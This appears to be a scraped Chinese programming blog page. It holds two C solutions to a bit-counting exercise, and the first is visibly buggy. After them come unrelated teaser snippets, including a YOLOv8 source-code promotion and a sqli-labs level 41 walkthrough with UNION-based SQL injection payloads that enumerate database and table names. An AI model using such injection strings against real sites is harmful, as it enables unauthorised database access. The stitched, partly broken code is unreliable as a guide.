#include<stdio.h>
//方法一
int test2(int count)
{
int c = 0;
for (int x = 1;; x++)
{
if (count == test1(x / 2,c) + test1(x % 2,c))
{
return x;
}
}
}
int test1(long long s,long long sum)
{
long long a = 0;
long long b = 0;
if (s == 1)
{
sum = sum + 1;
goto end;
}
if (s == 0)
{
goto end;
}
else
{
a = s / 2;
b = s % 2;
sum = test1(a, sum) + test1(b, sum);
}
end:
return sum;
}
int main()
{
long long t = 0;
scanf_s("%lld", &t);
long long arr[10000] = { 0 };
for (long long i = 0; i < t; i++)
{
scanf_s("%lld", &arr[i]);
}
for (long long j = 0; j< t; j++)
{
long long s = 0;
if (arr[j] == 0)
{
printf("0 0\n");
}
else if (arr[j] == 1)
{
printf("1 1\n");
}
else
{
s = arr[j];
long long sum = 0;
long long ret=test1(s, sum);
long long n = test2(ret);
printf("%lld %lld\n", ret,n);
}
}
return 0;
}
#include<stdio.h>
int main()
{
long long t = 0;
long long i = 0;
long long n = 0;
scanf("%lld", &t);
long long sum = 0;
long long num = 0;
while (t--)
{
sum = 0;
num = 0;
scanf("%lld", &n);
while (n)
{
if (n & 1)
{
sum++;
}
n = n >> 1;
}
for (i = 0; i < sum; i++)
{
num = num * 2 + 1;
}
printf("%lld %lld\n", sum, num);
}
}
sqli-labs-master靶场第四十一关
一,查看数据库
?id-1 union select 1,2,database()-- 二,查看表名
?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 三,查看users表中…
材料表面缺陷检测系统源码分享
[一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示]
1.研究背景与意义
项目参考AAAI Association for the Advancement of Artificial Intelligence
项目来源AACV Association for the Advancement of Computer Vis…